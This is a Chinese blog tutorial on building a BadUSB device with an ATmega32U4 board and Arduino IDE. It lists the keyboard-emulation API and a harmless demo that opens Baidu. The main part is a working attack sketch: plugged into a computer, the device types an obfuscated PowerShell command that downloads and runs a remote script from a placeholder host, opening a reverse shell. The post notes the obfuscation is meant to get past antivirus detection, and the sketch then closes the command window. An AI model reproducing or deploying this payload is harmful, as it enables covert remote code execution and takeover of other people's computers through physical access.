【红队近源】红队必备技能—BadUSB近源攻击
【红队近源】U盘反弹shell制作—BadUSB攻击
一、工具准备
1、Arduino IDE(给badusb写入代码的软件工具)
1 | 网盘已提供 |
2、Badusb(U盘)
1 | (374)32U4 虚拟键盘 Badusb Leomardo USB ATMEGA32U4开发板单片 |
3、可能出现的问题:
1 | 一般来说,驱动正常,在设备管理器中可以看到如下: |
二、开始编写
打开IDE ,选择板子和接口
1
2
3在Arduino 1.5.5 版本中的设置:
1、在【工具】-->【版】-->【Arduino leonardo】
2、在【端口】-->选择对应的端口程序介绍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60开发版中就只有两种函数:
setup():就是插入badusb 之后执行的代码,执行一次。我们一般将攻击代码写入这里
loop():是插入后循环执行的代码。如果不写明循环条件,就会一直循环执行代码,导致不好的结果(因此一般不用这个函数)
如:如果写入不断按F5的循环代码,可能插上后,电脑就会死机。
Mouse.begin()//鼠标事件开始
Mouse.click()//鼠标单击
Mouse.end()//鼠标事件结束
Mouse.move()//鼠标移动(x,y)
Mouse.press()//鼠标按下
Mouse.release()//鼠标松开
Mouse.isPressed()//
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI//按下win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK//释放大写
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12
Keyboard.begin(); // 初始化键盘库
delay(2000); // 等待 2 秒钟( 2000 毫秒)
Keyboard.press('a'); // 按下 'a' 键
Keyboard.press(KEY_LEFT_GUI); // 按下左 Windows 键
Keyboard.println("Hello, World!"); // 输入字符串
Keyboard.press(KEY_LEFT_CTRL); // 按下左 Ctrl 键
Keyboard.press(KEY_LEFT_ALT); // 按下左 Alt 键
Keyboard.press(' '); // 按下空格键
Keyboard.println();// 按下回车键
Keyboard.release('r');// 释放 'a' 键,以上按键同理
Keyboard.end();// 结束键盘模拟编写一个弹出浏览器打开百度(仅限keyboard.h框架下)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#include <Keyboard.h>
void setup(){
Keyboard.begin(); // 初始化键盘库
delay(3000); // 等待 3 秒钟(3000毫秒)
Keyboard.press(KEY_LEFT_GUI); // 按下左 Windows 键
delay(200); // 等待 0.2 秒钟(200毫秒)
Keyboard.press('r'); // 按下 'r' 键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("<HTTP://baidu.COM>");
Keyboard.println();
Keyboard.end();// 结束键盘模拟
}
void loop() {
}编写好代码后,就可以开始验证,有输出,无报错,就可以上传到badusb了。上传成功后,会优先执行一次代码。
1
2
3注意:
要是写入了攻击代码(不含loop方法),如何不被执行攻击代码?
只需要打开记事本,插入badusb,然后鼠标不停点击记事本,代码就都写在记事本上了。
三、开编反弹shell
选用反弹工具
1
2
3
4
5
6直接用cmd、nc,都会被火绒拦截
用powershell 是比较合适的。
payload:
cmd /c echo set-alias -name xz -value IEX;xs (New-Object \\"NeT.WeBClient\\").downloadstring('<http://xxxxx/xxx.ps1>') | powershell
//下载并执行xxx.ps1脚本,这个payload 是有做混淆的,毕竟直接运行powershell 并加上攻击代码,可能会被检测。反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27void setup() {
Keyboard.begin();
delay(5000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.println("cmd");
Keyboard.println();
delay(500);
Keyboard.println("cmd /c echo set-alias -name xz -value IEX;xs (New-Object \\"NeT.WeBClient\\").downloadstring('<http://xxxxx/xxx.ps1>') | powershell");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println();
delay(5000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(' ');
Keyboard.press('c');
Keyboard.releaseAll();
Keyboard.end();
}
void loop() {
}
四、释放编译代码
如果已经写入了攻击代码,但是不想去执行的话,可以在插入U盘之前,先打开记事本,插入U盘之后,不停点击在记事本上。
五、快速取消cmd弹框
1 | delay(5000); |
六、自编译
1 | #include <Keyboard.h> |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lusen的小窝!
评论